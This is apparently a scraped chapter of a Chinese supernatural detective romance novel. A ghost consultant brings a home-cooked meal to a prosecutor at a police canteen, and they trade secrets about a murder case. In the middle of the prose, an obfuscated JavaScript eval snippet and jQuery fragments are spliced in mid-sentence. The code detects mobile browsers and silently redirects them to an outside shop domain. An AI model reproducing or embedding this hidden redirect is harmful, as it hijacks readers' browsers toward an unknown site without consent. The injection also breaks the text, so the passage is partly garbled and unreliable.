重磅性线索的激烈余震在办公室久久不散,监控被篡改无疑剑指警局人员,专案组吃喝拉撒每日共处,甚至谁半夜悄摸到楼梯间跟老婆视频请罪都一清二楚,再加上王队严苛到变态的人员管理,内部人员百分百排除……糟心的特洛伊木马最终推向技术科,于技术员上一秒还晴空万里,下一秒就猝淋暴雨。
好消息是,有了可供排查的实质性证据。
坏消息是,能抢在专案组之前对监控动手脚,嫌疑人背景必不简单。
王队拍拍掌整顿秩序,雷厉风行分工施令,会议室转瞬清空了大半,顺利过关上任但被告知可以下班的宣顾问晴天霹雳,小狗眼眨巴望着鱼贯而出的警服,半晌醍醐灌顶回过神来,一把拉过淡定起身准备离开的裴岁霁:
“等等,不对劲不对劲……我走、你留,攻坚期专案组全员停休……怪不得你那么轻易地点头答应我进卧室!敢情是算好了让我独守空房,而且——都这样了你还让我打地铺??”
宣于野一脸难以置信,委屈得像是被渣男骗身骗心,直勾勾盯着眼前人。
裴岁霁破天荒没有立即挣开手腕,唇角温柔一勾,那是一抹漂亮而狡黠的弧度,不答反问:“答应你的我都做到了,难道不是么?”
宣于野竟一时无法反驳,接着虚握裴检察的右手被无声拂开,还被半安慰半嘲讽地拍了拍手背,看着对方事了拂衣去的悠然背影,哇地感叹了声:“……世事难料,人心险恶啊。”
走在最后满面愁容的于晓路过听到,简直不能再赞同:“革命尚未成功,同志仍需努力。”
沥沥雨声中,两人隔空颔首以兹鼓励。
但,要宣于野就此认输那是不可能的,眼底被激起的斗志正熊熊燃烧,他瞥了眼时间,沉吟片刻,似是又有了什么主意。
山不向我行,我自向山去,专业顾问下线,可贴心室友却不分时限。距离18点分局食堂放饭还有两小时,飘回家一趟,再杀回分局——绰绰有余,宣于野勾唇心想。
给辛劳的室友准备爱心便当很合理吧?
——早上瞥见家里冰箱,简直震撼鬼心,侧门清一色营养补剂,层架比冥滩还空旷,工作狂只有深夜回家路过楼下24小时便利店时,才会终于食人间烟火地买上次日的续命早餐——鸡蛋培根三明治和无糖酸奶。
于是宣于野还得买菜补给一趟,虽说能飘进超市零元购,但他自视被迫做鬼不等同主动犯法,今而为鬼,良心犹存,但良心嘛……属实也不多。人民公园喷泉池,打伞也不耽误来往路人虔心许愿,他们看不见的是,近在迟尺,某鬼埋头池边拾捞着水里银光闪闪的硬币,拢在手心一数,30个,一顿饭绰有余裕,随即掌心一合,低头浅拜碎碎念:“……耶稣安拉孔老庄,无论哪路神仙多有得罪,今后裴岁霁检察官一定会回来还本付息的……”
油烟机轰隆作响,灶火呼啦摇曳,宣于野系着卡其围裙,一手抄锅一手抄铲,娴熟地调味翻炒。外婆卧病在床的两年,他学业之余帮衬外公分担家务,饭菜料理也是在那时学会的,只不过后来照顾的病人,从一位变为了两位,直至他再次孤身一人。
不到半小时,三道菜陆续出锅,虾仁豆腐羹鲜香嫩滑,土豆泥烩牛肉末绵软醇厚,清炒西蓝花碧绿清香,利落打包盛入保温盒,等待鸡茸玉米汤熬制的期间,他将速食米饭送入微波炉加热。
轰——
伴着微波炉旋转运作声,宣于野活动脖颈踱步休憩,想起都住了几晚,却还没好好逛过裴大检察官的家,眼底闪烁藏不住的兴奋,堪比风卷残云般刮过每处角落,客厅卧室书房,衣柜抽屉床底,结果,一圈下来败兴而归。
“……我们裴检这么表里如一么?”宣于野背靠书架无声叹息,摩挲着下颌,“男人不可能没点私人爱好的吧……”
话音未落,久违的晶莹绿光冷不防乍现半空:“宿主,您是任职了专案组顾问,不是刑侦队搜查犬……”
宣于野轻笑,恶作剧般抬手隔空拨弄树叶:“好久不见,小系统,你是张嘴就吐槽啊。”
“陈述事实怎么能叫吐槽呢?”跟进宣于野这样的宿主,潜移默化,连同系统的口头功夫都突飞猛进,“对了,宿主您有确认我每次更新的评分情况吧?”
[R级尺度:28分]
[情节完善度:34%]
“……你那见缝插针的弹窗,像网页小广告似的,我想不注意都难。”宣于野嘴角抽搐,随即像是灵光忽现般眸光流转,露出公式化的偶像微笑看向小绿光,“诶,你来得正好,能不能现在也让我看到提示标啊?”
——在长原里搜寻乡民问询线索时,宣于野凭三寸不烂之舌击败系统,成功依据莫须有的《宿主权益保障法》,为自己争取了重要线索的场外三角标提示,但仅限于侦查主线案件。
“非查案相关,是没有提示标识的。”绿树挣脱捣乱它发型的大手,同时预判到宿主不肯善罢甘休的劲头,提前头顶冒一个大大的红叉,“——停!辩论赛禁止,整套公寓里唯一可能对您有用的,就在书桌上了。”
系统点到即止,宣于野闻声高高挑起眉,原本他就没期望能得到有效答案,毕竟凭裴岁霁防火防狼放鬼压床的缜密个性,能松口让他同住,那就不能在公寓留下把柄。但没想到顺嘴闹绿光一下,被他空手套着白狼。
裴岁霁的书桌干净整洁,连书口的检索标签都按颜色排列整齐,宣于野垂视的侧脸深邃肃静,扫视一圈,锋利眸光最终敏锐地落到不起眼的台历上——
展示页日期停留于上月,像是受冷落已久,但右下页角略微卷曲,又似乎常被人翻动。
哗啦,宣于野刚撩开新一页,指尖一瞬停顿,深色瞳孔中清晰映出一道水红荧光的圆圈,没有多余文字注释。
6月25日,恰好是明天。
明天是什么重要日子?宣于野正托颔思索,空气中倏然飘来一股扑鼻的甘润浓香,警铃大作思考急停,他抬脚直奔厨房:“我们裴检的鸡茸玉米汤!”
……
薄暮雨霁,晚霞烧上湿漉漉的天,碎镜般的积水映着彤云与高楼,水汪汪的边湛卧在倒悬的残阳余晖里。
刑侦大队分局,三层楼梯间灯光晦暗,一道清瘦沉郁的身影背倚墙壁,手机紧贴耳朵,声音听不出特别的情绪:
“……谢谢蔡检,没事,三小时足够了,花肢案正有所突破,我不会耽搁太久的……”
电话那头传来蔡帆一声轻叹:“……这一眨眼又到日子了,别累着自己……小裴,你是个重情的好孩子,但别把自己困在过去了,生活应当向前看才是……”
如长辈般温和的语调,间或夹杂着鉴定中心来来往往的忙碌脚步声,裴岁霁不再多叨扰蔡主任工作,得体回应几句——叮,通话结束,他头靠墙仰起脸,定定凝着黑洞洞的天花板,神色悉数隐没于阴影之下。
嘎吱,楼道防火门被拉开一拳缝隙,雪亮光带倾泻而入,映照在裴岁霁锋利苍冷的下颌。
“裴哥,快快,到饭点了。”门外于晓声音掩不住放饭的兴奋。
裴岁霁提不起食欲,婉拒的话音还堵在咽喉,只听门缝又溜入后半句的补充:“宣顾问给你带便当了,欸,我听说食堂快变成他的粉丝见面会现场了,咱们赶紧去看看呗!”
谁给谁??什么便当?!
“……”裴岁霁按了按额角,静默须臾,还是推门而出,跟着欢欣的于晓前往食堂。
办公大楼斜对面的双层小楼,分局食堂比以往热闹得多,还是破天荒头一次,大厅一角的队伍排得比食堂窗口还长,而那奇景长龙的尽头是一位拎着饭盒、笑容可掬的俊朗年轻人。
端着餐盘入座的教导员望了眼前方,问一脸慈笑的王康勇:“那小伙子是新来的警员?这么受欢迎……难得啊,王队你笑这么开心,花肢案有进展了?”
“哎呀低调,收获也不止一两个……”王队咕嘟喝了口菜汤,感觉比白酒还畅快。
教导员疑惑:“还有什么?我是听说小于在监控上立功了……”
“就别再给老王脸上贴花了,”同桌一位老同僚揶揄出声,“刚还在炫耀,专案组这是聚着宝了,小裴、小于还不够,今儿又来个宣顾问,又是边大的高材生,性格好效率高,说是十分钟就给他们厘清了线索思路……”
王队笑意愈甚,不明真相的教导员:“那下次我可得去组里瞧瞧。”
“用不着下次,”老同僚憋着笑,抬着下巴示意远端长龙,“那儿不就是宣小顾问吗?”
此时的宣于野正忙着和警服长队有序合影,开始只是一两个社牛来寒暄招呼,紧接着,越来越多的年轻警员闻讯来瞧比肩检院门面的新面孔,“……不急不急,一个个来……抱歉,比心不可以呢,剪刀手行吗……嗯我在等人,不是家属,是——”
他话音戛然而止。
只见盼星盼月的熟悉身影推门而入,脚步急刹,仿佛食堂砸面而来的喧闹让他陌生,看表情像是恨不得立即转身逃离,却被身旁土拨鼠震惊的于sir攘着向前。
隔着长龙人海,两人的视线轻易精准相撞。
像失物待领的小狗迫不及待奔向主人,宣于野一边低头致歉合影长队,礼貌表示来日方长都是同僚今后有的是机会再见,一边拎起保温饭盒走路生风,心头洋溢着“中国好室友非我莫属”的骄傲与自豪。
四面八方逐渐意识到什么的视线纷纷投来,裴岁霁扶额遮脸,一股挠心的羞耻感染红后颈,紧接着半低着头疾步上前,与宣于野擦肩而过的刹那,二话不说扣住对方手腕,把人拉上二楼。
“裴——”
“不想死就闭嘴。”裴岁霁压声打断。
宣于野乖巧噤声,看着狭长台阶前气闷闷领路的检察官,按捺不住上扬的嘴角。
二楼是众所周知的预制菜专场,相比一楼的拥挤不堪,这里算是冷清得出奇,正符合不喜闹的裴检取向。
宣于野倒是无所谓,毕竟是做鬼都能立马适应的奇人,反手一拉将裴岁霁按到空位坐下,将热和的食盒逐一摆好,还贴心地奉上家里干净的木筷。
裴岁霁欲言又止,即使方才还恨不得把这粘人鬼踹回冥滩,极高的素养也让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878439|212429||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的语气克制而温和:“你何必……我没有吃晚餐的习惯……”
宣于野表示理解地一颔首:“所以你不住院谁住院?”
“那是因为什么你比谁都清楚。”要理论,裴岁霁也不遑多让。
但宣于野还是棋高一着:“营养不良输葡萄糖也要怪水魈?”
“…………”
空气落针可闻,模拟法庭上舌战群儒的裴岁霁竟无言反驳,缄默片刻,他随意一扯衬衣领口,服软般逐一揭盖饭盒。
隔壁桌警员不自主斜觑一眼,瞬间觉得手中预制的粉蒸肉胡辣汤索然无味,草草扒拉两口便离去。
三菜一汤,半份米饭,色香味养俱全,无人能与之抗衡,铁石心肠的裴检察也不例外,动筷夹了只饱满虾仁。
“如何?”宣于野笑吟吟双手托颌,等待美人反馈。
裴岁霁用餐仪态优雅,细嚼慢咽,虽并不想给对面熊熊燃烧的自信再添一把火,但也说不了谎,半晌徐徐:“不错。”
“那就好。”宣于野温柔一笑,松了口气般后靠椅背,修长手臂搭在一旁的空椅上,就在这样一个雨后黄昏,静静看着裴岁霁用餐,像是监督又像在陪伴。
然而,窗外余晖短暂,东边夜影渐进地残吞霞白,宣于野眸光微妙地暗沉半分,黑瞳深处动摇着,像是剜痂刮骨前不忍的犹豫。
“我能告诉你一件事吗?”良久他蓦然出声,尾音有一丝不自然的紧绷。
裴岁霁食不多言,只一抬眼,意思是,有话就说。
宣于野难得地正襟危坐,像是作出某个决定,喉结微动,提起那禁忌的姓名:“孙乐辰——”
裴岁霁猝然一愣,而宣于野话音未歇:
“他不是意外溺亡。那是毒品狂躁状态下的杀人案件。赵恭对黄怡自白过,亲口承认的。”
空气仿佛一瞬凝固,远方最后的霞晕消失殆尽。
像是挨过了半世纪,又仿佛不过转瞬间,裴岁霁垂眸用餐巾擦拭唇角,平静飘出三字:“我知道。”
轻描淡写的一句,却堪比能翘起整个地球的支点,威力难以言状。
闻声宣于野神情微变:“你知道?”
裴岁霁波澜不惊,手上有条不紊地收拾餐盒,坐姿清挺若竹:“除了这个,关于花肢案黄怡交代了什么?”
毫不虚掩的话题转换,面对面,宣于野看得分明,裴岁霁那清润瞳孔深处,恍若千里冰封的森寒防线——那是拒绝回答的鲜明信号。
冰山般的美人,冰山般的强硬,宣于野不准备步入泰坦尼克的后尘,不动声色略退半步,像抚平猫咪警惕炸起的毛,顺着裴检察回答:
“……以命偿命,黄怡计划先杀赵恭而后自杀,案发当天,她在饭菜里掺了□□,但还没等到开餐,她就遇害了。”
“据黄怡说,事发前没有任何征兆,只是突然不能呼吸,像被拽进水底,没顶而来的窒息夺走所有意识——听起来是水魈的手段。”
裴岁霁眉目沉如寒潭,若有所思:“……为什么这么着急选她下手,还留一朵干净的白月季?”
“讨替,良心未泯的讨替?”宣于野思维向来跳跃,起身主动接手拾掇餐桌,将被吃得大半的餐盒整齐收回,“……监控里那辆幽灵车肯定藏着什么答案。”
两人在餐桌对侧,一站一坐,动作间,宣于野没注意到他说后半句时,裴岁霁掩在长睫下的眸光凝闪,只是半晌,不明就里听后者问道:
“然后?”
宣于野偏过头疑惑嗯了声,什么然后。
“……没了?”裴岁霁注视着他,水墨般的漂亮眉角微挑,“你出去和她待了大半天,就聊了这些?”
宣于野忍俊不禁,语调挟着捉弄的轻佻:“裴检,你是吃醋了吗?放心,以后我的每个24小时,1440分钟,都保证紧随裴检脚步。”
裴岁霁:“……”
迟到但不缺席的嘴欠,裴检觉得可怕的是,他居然一点儿都不觉得很意外了,气定神闲起身正准备离开,身后却传来一句——
“——剩下的,当作秘密。”宣于野站在如昼灯光下,锋利俊美的五官极具冲击性,嘴角略微带着弧度,意有所指道,“等你愿意告诉我了,我再告诉你,公平交换。”
“……”
裴岁霁静立原地,略压眼梢上下打量着眼前人,眸底却并无半分审视意味,那目光很淡,淡到像是世间万物都不值得其为之停留。
宣于野总是在观察裴岁霁,乐于捕捉并解析对方每个眼神、每次蹙眉、每段沉默,如同夜望星辰,读懂光辉下的幽暗底色。几日下来,自然是卓有成效,譬如此刻,他清楚裴岁霁正凝神思考,仿佛与世界隔离开来,只沉浸于无人知晓的万千思虑。
于是他只是安静地等候,顺便毫无顾忌地欣赏美人。
没多久,裴岁霁再抬眸,情绪沉潜瞳底,一字字慢而清晰:“凌晨四点半,检院地下停车场。”
宣于野眼睛微微眯起,嘴上稳定发挥:“是约会邀请吗?”
裴岁霁轻哂,只道:“我不喜欢有秘密。”